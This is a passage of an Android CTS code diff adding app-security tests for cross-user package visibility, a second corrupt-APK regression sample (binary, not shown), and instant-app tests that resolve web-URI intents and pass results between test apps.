index e6ee38f..0668860 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.mk
@@ -12,19 +12,25 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-# Tag this module as a cts test artifact
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+
+LOCAL_PACKAGE_NAME := CtsApplicationVisibilityCrossUserApp
+
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..d9a1f36
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.applicationvisibility">
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.applicationvisibility"
+ android:label="Test to check application visibility for an app with cross user permission."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
new file mode 100644
index 0000000..1737817
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.applicationvisibility;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static android.content.pm.PackageManager.MATCH_KNOWN_PACKAGES;
+
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+
+@RunWith(JUnit4.class)
+public class ApplicationVisibilityCrossUserTest {
+ private String TINY_PKG = "android.appsecurity.cts.tinyapp";
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ }
+
+ /** Tests getting installed packages for the current user */
+ @Test
+ public void testPackageVisibility_currentUser() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<PackageInfo> packageList =
+ pm.getInstalledPackagesAsUser(0, mContext.getUserId());
+ assertFalse(isAppInPackageList(TINY_PKG, packageList));
+ }
+
+ /** Tests getting installed packages for all users, with cross user permission granted */
+ @Test
+ public void testPackageVisibility_anyUserCrossUserGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<PackageInfo> packageList =
+ pm.getInstalledPackagesAsUser(MATCH_KNOWN_PACKAGES, mContext.getUserId());
+ assertTrue(isAppInPackageList(TINY_PKG, packageList));
+ }
+
+ /** Tests getting installed packages for all users, with cross user permission revoked */
+ @Test
+ public void testPackageVisibility_anyUserCrossUserNoGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ try {
+ final List<PackageInfo> packageList =
+ pm.getInstalledPackagesAsUser(MATCH_KNOWN_PACKAGES, mContext.getUserId());
+ fail("Should have received a security exception");
+ } catch (SecurityException ignore) {}
+ }
+
+ /** Tests getting installed packages for another user, with cross user permission granted */
+ @Test
+ public void testPackageVisibility_otherUserGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<PackageInfo> packageList =
+ pm.getInstalledPackagesAsUser(0, getTestUser());
+ assertTrue(isAppInPackageList(TINY_PKG, packageList));
+ }
+
+ /** Tests getting installed packages for another user, with cross user permission revoked */
+ @Test
+ public void testPackageVisibility_otherUserNoGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ try {
+ final List<PackageInfo> packageList =
+ pm.getInstalledPackagesAsUser(0, getTestUser());
+ fail("Should have received a security exception");
+ } catch (SecurityException ignore) {}
+ }
+
+ /** Tests getting installed applications for the current user */
+ @Test
+ public void testApplicationVisibility_currentUser() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<ApplicationInfo> applicationList =
+ pm.getInstalledApplicationsAsUser(0, mContext.getUserId());
+ assertFalse(isAppInApplicationList(TINY_PKG, applicationList));
+ }
+
+ /** Tests getting installed applications for all users, with cross user permission granted */
+ @Test
+ public void testApplicationVisibility_anyUserCrossUserGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<ApplicationInfo> applicationList =
+ pm.getInstalledApplicationsAsUser(MATCH_KNOWN_PACKAGES, mContext.getUserId());
+ assertTrue(isAppInApplicationList(TINY_PKG, applicationList));
+ }
+
+ /** Tests getting installed applications for all users, with cross user permission revoked */
+ @Test
+ public void testApplicationVisibility_anyUserCrossUserNoGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ try {
+ final List<ApplicationInfo> applicationList =
+ pm.getInstalledApplicationsAsUser(MATCH_KNOWN_PACKAGES, mContext.getUserId());
+ fail("Should have received a security exception");
+ } catch (SecurityException ignore) {}
+ }
+
+ /** Tests getting installed applications for another user, with cross user permission granted */
+ @Test
+ public void testApplicationVisibility_otherUserGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ final List<ApplicationInfo> applicationList =
+ pm.getInstalledApplicationsAsUser(0, getTestUser());
+ assertTrue(isAppInApplicationList(TINY_PKG, applicationList));
+ }
+
+ /** Tests getting installed applications for another user, with cross user permission revoked */
+ @Test
+ public void testApplicationVisibility_otherUserNoGrant() throws Exception {
+ final PackageManager pm = mContext.getPackageManager();
+ try {
+ final List<ApplicationInfo> applicationList =
+ pm.getInstalledApplicationsAsUser(0, getTestUser());
+ fail("Should have received a security exception");
+ } catch (SecurityException ignore) {}
+ }
+
+ private boolean isAppInPackageList(String packageName,
+ List<PackageInfo> packageList) {
+ for (PackageInfo pkgInfo : packageList) {
+ if (pkgInfo.packageName.equals(packageName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private boolean isAppInApplicationList(
+ String packageName, List<ApplicationInfo> applicationList) {
+ for (ApplicationInfo appInfo : applicationList) {
+ if (appInfo.packageName.equals(packageName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private int getTestUser() {
+ final Bundle testArguments = InstrumentationRegistry.getArguments();
+ if (testArguments.containsKey("testUser")) {
+ try {
+ return Integer.parseInt(testArguments.getString("testUser"));
+ } catch (NumberFormatException ignore) {}
+ }
+ return mContext.getUserId();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
index feaaa03..9fd8b98 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
@@ -28,4 +28,12 @@
LOCAL_SRC_FILES := b71361168.apk
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := PRESIGNED
+include $(BUILD_PREBUILT)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsCorruptApkTests_b79488511
+LOCAL_MODULE_CLASS := APPS
+LOCAL_SRC_FILES := b79488511.apk
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CERTIFICATE := PRESIGNED
include $(BUILD_PREBUILT)
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
index ef1e2bf..dc00656 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
new file mode 100644
index 0000000..22af499
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index af75334..1d0f83e 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -173,6 +173,9 @@
mDevice.pressMenu();
mDevice.waitForIdle();
enterTestPin();
+ mDevice.waitForIdle();
+ mDevice.pressHome();
+ mDevice.waitForIdle();
}
public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index dab340b..90b7866 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -22,8 +22,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-aia-util \
android-support-test \
- ctsdeviceutillegacy \
- ctstestrunner
+ ctsdeviceutillegacy \
+ ctstestrunner
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index c1f903e..2dc1b02 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -36,7 +36,7 @@
<uses-library android:name="android.test.runner" />
<activity
android:name=".EphemeralActivity"
- android:theme="@android:style/Theme.NoDisplay">
+ android:theme="@android:style/Theme.NoDisplay" >
<!-- TEST: normal app can start w/o knowing about this activity -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
@@ -67,6 +67,19 @@
android:name="android.app.searchable"
android:resource="@xml/searchable" />
</activity>
+ <activity
+ android:name=".EphemeralResult"
+ android:theme="@android:style/Theme.NoDisplay" >
+ <!-- TEST: allow sending results from other instant apps -->
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="cts.google.com" />
+ <data android:path="/result" />
+ </intent-filter>
+ </activity>
<provider android:name=".SearchSuggestionProvider"
android:authorities="com.android.cts.ephemeralapp1.Search" />
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 363dfb0..9e231a1 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -21,6 +21,7 @@
import static android.media.MediaRecorder.AudioSource.MIC;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.hasItems;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.junit.Assert.assertSame;
@@ -78,6 +79,7 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.util.Iterator;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.SynchronousQueue;
@@ -97,6 +99,8 @@
/** Action to start private ephemeral test activities */
private static final String ACTION_START_EPHEMERAL_PRIVATE =
"com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE";
+ private static final String ACTION_START_EPHEMERAL_ACTIVITY =
+ "com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL";
/** Action to query for test activities */
private static final String ACTION_QUERY =
"com.android.cts.ephemeraltest.QUERY";
@@ -195,6 +199,52 @@
is(false));
}
+ // query own ephemeral application activities with a web URI
+ {
+ final Intent queryIntent = new Intent(Intent.ACTION_VIEW);
+ queryIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+ queryIntent.setData(Uri.parse("https://cts.google.com/ephemeral"));
+ final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+ .getPackageManager().queryIntentActivities(
+ queryIntent, PackageManager.GET_RESOLVED_FILTER);
+ if (resolveInfo == null || resolveInfo.size() == 0) {
+ fail("didn't resolve any intents");
+ }
+ for (ResolveInfo info: resolveInfo) {
+ assertThat(info.filter, is(notNullValue()));
+ if (handlesAllWebData(info.filter)) {
+ continue;
+ }
+ assertThat(info.activityInfo.packageName,
+ is("com.android.cts.ephemeralapp1"));
+ assertThat(info.activityInfo.name,
+ is("com.android.cts.ephemeralapp1.EphemeralActivity"));
+ assertThat(info.isInstantAppAvailable,
+ is(true));
+ }
+ }
+
+ // query other ephemeral application activities with a web URI
+ {
+ final Intent queryIntent = new Intent(Intent.ACTION_VIEW);
+ queryIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+ queryIntent.setData(Uri.parse("https://cts.google.com/other"));
+ final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+ .getPackageManager().queryIntentActivities(
+ queryIntent, PackageManager.GET_RESOLVED_FILTER);
+ if (resolveInfo == null || resolveInfo.size() == 0) {
+ fail("didn't resolve any intents");
+ }
+ for (ResolveInfo info: resolveInfo) {
+ assertThat(info.filter, is(notNullValue()));
+ if (handlesAllWebData(info.filter)) {
+ continue;
+ }
+ fail("resolution should have only matched browsers");
+ }
+ }
+
+ // query services
{
final Intent queryIntent = new Intent(ACTION_QUERY);
final List<ResolveInfo> resolveInfo = InstrumentationRegistry
@@ -215,6 +265,7 @@
is(false));
}
+ // query services; directed package
{
final Intent queryIntent = new Intent(ACTION_QUERY);
queryIntent.setPackage("com.android.cts.ephemeralapp1");
@@ -230,6 +281,7 @@
is("com.android.cts.ephemeralapp1.EphemeralService"));
}
+ // query services; directed component
{
final Intent queryIntent = new Intent(ACTION_QUERY);
queryIntent.setComponent(
@@ -790,7 +842,7 @@
new ComponentName("com.android.cts.ephemeralapp1",
"com.android.cts.ephemeralapp1.EphemeralActivity3"));
InstrumentationRegistry
- .getContext().startActivity(startEphemeralIntent, null /*options*/);
+ .getContext().startActivity(startEphemeralIntent, null /*options*/);
final TestResult testResult = getResult();
assertThat(testResult.getPackageName(),
is("com.android.cts.ephemeralapp1"));
@@ -802,6 +854,52 @@
is(nullValue()));
}
+ // start an ephemeral activity; VIEW / BROWSABLE intent
+ {
+ final Intent startEphemeralIntent = new Intent(Intent.ACTION_VIEW)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ startEphemeralIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+ startEphemeralIntent.setData(Uri.parse("https://cts.google.com/other"));
+ InstrumentationRegistry
+ .getContext().startActivity(startEphemeralIntent, null /*options*/);
+ final TestResult testResult = getResult();
+ assertThat(testResult.getPackageName(),
+ is("com.android.cts.ephemeralapp2"));
+ assertThat(testResult.getComponentName(),
+ is("EphemeralActivity"));
+ assertThat(testResult.getIntent().getAction(),
+ is(Intent.ACTION_VIEW));
+ assertThat(testResult.getIntent().getCategories(),
+ hasItems(Intent.CATEGORY_BROWSABLE));
+ assertThat(testResult.getIntent().getData().toString(),
+ is("https://cts.google.com/other"));
+ assertThat(testResult.getStatus(),
+ is("PASS"));
+ assertThat(testResult.getException(),
+ is(nullValue()));
+ }
+
+ // start an ephemeral activity; EXTERNAL flag
+ {
+ final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
+ InstrumentationRegistry.getContext().startActivity(
+ startEphemeralIntent, null /*options*/);
+ final TestResult testResult = getResult();
+ assertThat(testResult.getPackageName(),
+ is("com.android.cts.ephemeralapp2"));
+ assertThat(testResult.getComponentName(),
+ is("EphemeralActivity"));
+ assertThat(testResult.getIntent().getAction(),
+ is(ACTION_START_EPHEMERAL_ACTIVITY));
+ assertThat(testResult.getIntent().getData(),
+ is(nullValue()));
+ assertThat(testResult.getStatus(),
+ is("PASS"));
+ assertThat(testResult.getException(),
+ is(nullValue()));
+ }
+
// start the ephemeral service; directed package
{
final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL);
@@ -1280,6 +1378,32 @@
}
}
+ /** Returns {@code true} if the given filter handles all web URLs, regardless of host. */
+ private boolean handlesAllWebData(IntentFilter filter) {
+ return filter.hasCategory(Intent.CATEGORY_APP_BROWSER) ||
+ (handlesWebUris(filter) && filter.countDataAuthorities() == 0);
+ }
+
+ /** Returns {@code true} if the given filter handles at least one web URL. */
+ private boolean handlesWebUris(IntentFilter filter) {
+ // Require ACTION_VIEW, CATEGORY_BROWSEABLE, and at least one scheme
+ if (!filter.hasAction(Intent.ACTION_VIEW)
+ || !filter.hasCategory(Intent.CATEGORY_BROWSABLE)
+ || filter.countDataSchemes() == 0) {
+ return false;
+ }
+ // Now allow only the schemes "http" and "https"
+ final Iterator<String> schemesIterator = filter.schemesIterator();
+ while (schemesIterator.hasNext()) {
+ final String scheme = schemesIterator.next();
+ final boolean isWebScheme = "http".equals(scheme) || "https".equals(scheme);
+ if (isWebScheme) {
+ return true;
+ }
+ }
+ return false;
+ }
+
private TestResult getResult() {
final TestResult result;
try {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralResult.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralResult.java
new file mode 100644
index 0000000..a1fad50
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/EphemeralResult.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Activity;
+import android.app.SearchManager;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.SearchRecentSuggestions;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class EphemeralResult extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final Intent intent = getIntent();
+ if (Intent.ACTION_VIEW.equals(intent.getAction())
+ && intent.hasExtra(TestResult.EXTRA_TEST_RESULT)) {
+ ((TestResult) intent.getParcelableExtra(TestResult.EXTRA_TEST_RESULT)).broadcast(this);
+ }
+ finish();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index a5bc4b0..78c7970 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -17,12 +17,18 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-aia-util \
+ android-support-test \
+ ctsdeviceutillegacy \
+ ctstestrunner
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp2
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
index 84549b0..0350cc6 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/AndroidManifest.xml
@@ -43,6 +43,10 @@
<action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
+ <intent-filter android:priority="0">
+ <action android:name="com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEARCH" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralActivity.java
new file mode 100644
index 0000000..885bc19
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp2;
+
+import android.app.Activity;
+import android.app.SearchManager;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.SearchRecentSuggestions;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.util.List;
+
+public class EphemeralActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ if (Intent.ACTION_SEARCH.equals(intent.getAction())) {
+ final String query = intent.getStringExtra(SearchManager.QUERY);
+ final SearchRecentSuggestions suggestions = new SearchRecentSuggestions(this,
+ SearchSuggestionProvider.AUTHORITY, SearchSuggestionProvider.MODE);
+ suggestions.saveRecentQuery(query, null);
+ }
+
+ TestResult.getBuilder()
+ .setPackageName("com.android.cts.ephemeralapp2")
+ .setComponentName("EphemeralActivity")
+ .setIntent(getIntent())
+ .setStatus("PASS")
+ .build()
+ .startActivity(this, Uri.parse("https://cts.google.com/result"));
+ finish();
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralProvider.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralProvider.java
new file mode 100644
index 0000000..a0664fe
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/src/com/android/cts/ephemeralapp2/EphemeralProvider.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp2;
+
+import android.content.ContentProvider;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.CharArrayBuffer;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.DataSetObserver;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class EphemeralProvider extends ContentProvider {
+ private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+ static {
+ sUriMatcher.addURI("com.android.cts.ephemeralapp2.provider", "table", 1);
+ }
+ private static final String[] sColumnNames = { "_ID", "name" };
+ private static final MatrixCursor sCursor = new MatrixCursor(sColumnNames, 1);
+ static {
+ sCursor.newRow().add(1).add("InstantAppProvider");
+ }
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return (sUriMatcher.match(uri) != 1) ? null : sCursor;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java
index 0f52e80..632ded9 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/src/com/android/cts/util/TestResult.java
@@ -18,6 +18,7 @@
import android.content.Context;
import android.content.Intent;
+import android.net.Uri;
import android.os.Parcel;
import android.os.Parcelable;
@@ -75,6 +76,14 @@
context.sendBroadcast(broadcastIntent);
}
+ public void startActivity(Context context, Uri uri) {
+ final Intent broadcastIntent = new Intent(Intent.ACTION_VIEW);
+ broadcastIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+ broadcastIntent.putExtra(EXTRA_TEST_RESULT, this);
+ broadcastIntent.setData(uri);
+ context.startActivity(broadcastIntent);
+ }
+
private TestResult(String packageName, String componentName, String methodName,
String status, String exception, Intent intent,
